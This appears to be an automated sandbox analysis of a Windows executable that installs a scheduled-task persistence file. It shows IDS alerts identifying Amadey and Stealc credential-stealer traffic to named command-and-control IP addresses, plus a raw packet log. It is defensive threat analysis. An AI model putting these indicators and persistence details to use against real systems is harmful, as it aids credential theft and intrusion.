Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I.....S'....@.................................W...k.......D....................iI.............................8iI..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...ekxusscj.....`0.....................@...vsobhekd.....pI.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBKKKFCFIIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3976910374769194
Encrypted:	false
SSDEEP:	6:OtCxX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB0ildt0:Y2uQ1CGAFifXVB0izt0
MD5:	00653CF2F116CB2896DD56E279F46FD4
SHA1:	E7D08FDD5094242473EFED371665A7C9E3BEC54A
SHA-256:	3B097F848EF6FE4B1C56EA193DBF6059548D1E17AAE165E9789E0F1AECBE0AF2
SHA-512:	FEC14E7DE293AD03EA361C28B103141A36247874F75B1463EAE4E4863E5731246A961339D1257BAE2CA50F4CD7A1CB2663F5A0576F7EB3DD2D7EBE5F8634F84E
Malicious:	false
Preview:	....V.i.P.oB... ..^.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6105)
Category:	downloaded
Size (bytes):	6110
Entropy (8bit):	5.792681621973503
Encrypted:	false
SSDEEP:	96:6HcFmli9H6666kriIjMvgo41PEk8USUF96dYfPK9z0HkcFd66666dtb0JNXIuxIY:6HPsH6666ciI91NEkzJ96YHK9AHkcFdr
MD5:	977C2848C1D120D0BEA1C1D9ECCB6193
SHA1:	E372FFBFD843194D640A82C997469AADD02B821E
SHA-256:	6ACC57EAFBA06431FC5CF3D6714FA0D14AA1A360F54E5297AF0E919964D78562
SHA-512:	8F12C979539E02A4D7426289A47DF6918E0F0C8425529833C5840D0DDABE2E954843FAE7F20A805E8422E642B90ABC8C12456F70A38C65A7EF290F838C52D736
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["samsung galaxy s25 ultra release date","tennis davis cup final","yellowstone season 5 recap episode 11","rocket launch spacex falcon 9","thanksgiving winter storm forecast snow","disney dreamlight valley","juan soto yankees","ripple xrp price prediction"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXE5dGQ3NXY2EgpWaWRlbyBnYW1lMssOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBY0FBQUJCQU1CQUFBQUFBQUFBQUFBQUFBRUF3VUdCd0FCQWdqL3hBQTFFQUFDQVFJRUJBTUdCQWNCQUFBQUFBQUJBZ01FRVFBRk

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.434880289753229
Encrypted:	false
SSDEEP:	3072:fnkXyPqO7UX1Hme9kZbs4Voc5MSnXqwQ2i6o:fIyWFHrp4Voc5MSnawQ8o
MD5:	4B7837F77187D0C0AE94E7089C48A9D3
SHA1:	F701CE41394796C9B87DCC53F9E63077297A126A
SHA-256:	AB126A54280A4AB604381CFB9F97BD9B9883BFA9E9A24BE835AEA26198970EF1
SHA-512:	99F5E24DC365100EBF695AF5BD989999BB40956D0027D1F8EFDAFB60DE8C2B76D6588A965EFBB4FDEACE4D403EF0485C2DD5D925D446565BF8AFB445A77C6680
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945731568664772
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'837'056 bytes
MD5:	989618b54cbe6d89c30aa67fe52fc62b
SHA1:	fb55e89cdd398d44eaf8ce549eff424a7cf47141
SHA256:	bee0fe71acfca971ebaf60e73f2026c1612cf89bc26d18e609891dfdaf4ad423
SHA512:	7e21675d2ce2f33d5ea3e9219733132cf403be18fd810912da03ac53a32c1e12c7821ff81f26874e2cd61452e5e734263be43f8985fdb7f581ce2d0194cdfba8
SSDEEP:	24576:HioExDdUWS9zVES1nFUzbDkTKGE+mxxT+YL68nZ6BkyoOIzd72bO3aS26l:bExG9X1kncufkKOIRs
TLSH:	5A8533DC2B02B5DFCDF44F718358E269AAF77B08D4A8B2B420075967BC3562E899CC51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD31CFB6F0Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	d67de45169058bd8f3568274c36815a2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	85ab159acd0ccbb1a6b329462313dcf0	False	0.796875	data	6.043701324261036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b6000	0x200	aa13fdb63ec26a2e600b6b836667bac3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oceaxpza	0x502000	0x1a7000	0x1a6a00	4ab7d5573d66b0a8990447230d5db377	False	0.9948413468648329	DOS executable (COM)	7.954566767848571	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nyfxhtvv	0x6a9000	0x1000	0x400	589bb10d8fc7a7249be06047e13f6c78	False	0.7841796875	data	6.174120257585513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	09a899b13e64659c97f0d6c9b406ff18	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a86f8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T14:14:00.948883+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	58824	TCP
2024-11-25T14:14:10.065195+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:10.634180+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:10.756978+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T14:14:11.100395+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:11.223069+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T14:14:12.724140+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:13.535510+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T14:14:37.016534+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:38.998381+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:40.376425+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:41.846621+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:45.568984+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:46.683586+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-25T14:14:52.612218+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49885	185.215.113.16	80	TCP
2024-11-25T14:16:06.125090+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	58816	185.215.113.43	80	TCP
2024-11-25T14:16:10.796497+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	58828	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 14:14:00.948883057 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:00.948925972 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:01.058365107 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:08.012403011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:08.132662058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:08.132838964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:08.133174896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:08.254316092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:09.575793982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:09.575886011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:09.578876972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:09.701361895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:10.065123081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:10.065195084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:10.067320108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:10.291172028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:10.558263063 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:10.558269024 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:10.633985996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:10.634180069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:10.634345055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:10.634409904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:10.635727882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:10.667593956 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:10.756978035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100222111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100245953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100263119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100394964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.100470066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100485086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100502968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100616932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.100619078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.100619078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.100662947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.103056908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.223068953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.567047119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.567182064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.598845959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.598956108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:11.719427109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.719471931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.719501019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.719552994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.719669104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:11.719697952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:12.723946095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:12.724139929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.012012005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.051739931 CET	443	49703	23.1.237.91	192.168.2.5
Nov 25, 2024 14:14:13.051853895 CET	49703	443	192.168.2.5	23.1.237.91
Nov 25, 2024 14:14:13.132596970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.535300016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.535510063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.535556078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.535612106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.539232016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.539294958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.539612055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.539660931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.547756910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.547826052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.548013926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.548070908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.556164026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.556231022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.556725025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.556777000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.564528942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.564598083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.564793110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.564842939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.572905064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.572978973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.573072910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.573122978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.707304955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.707484961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.707909107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.707969904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.711493969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.711574078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.711607933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.711664915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.719830990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.719907999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.719954967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.720011950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.728260040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.728348017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.728528976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.728595018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.736752033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.736893892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.736906052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.736962080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.829090118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.829242945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.829269886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.829319000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.833245993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.833331108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.834775925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.834847927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.835254908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.835309982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.844012022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.844099045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.844187975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.844233990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.851591110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.851682901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.852102041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.852161884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.860090971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.860152006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.860538006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.860593081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.868459940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.868544102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.868912935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.868968010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.876889944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.876948118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.921087980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.921161890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.921173096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.921195030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.925050974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.925112963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.925950050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.926001072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.933089972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.933166027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.933260918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.933307886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.941483974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.941560984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.941652060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.941694021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.949893951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.949964046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.964617014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.964680910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.964706898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.964740038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.966742039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.966790915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.966881990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.966927052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.973526001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.973583937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.973860979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.973908901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.980479956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.980534077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.981096983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:13.981148005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:13.986980915 CET	80	49704	185.215.113.206	192.168.2.5
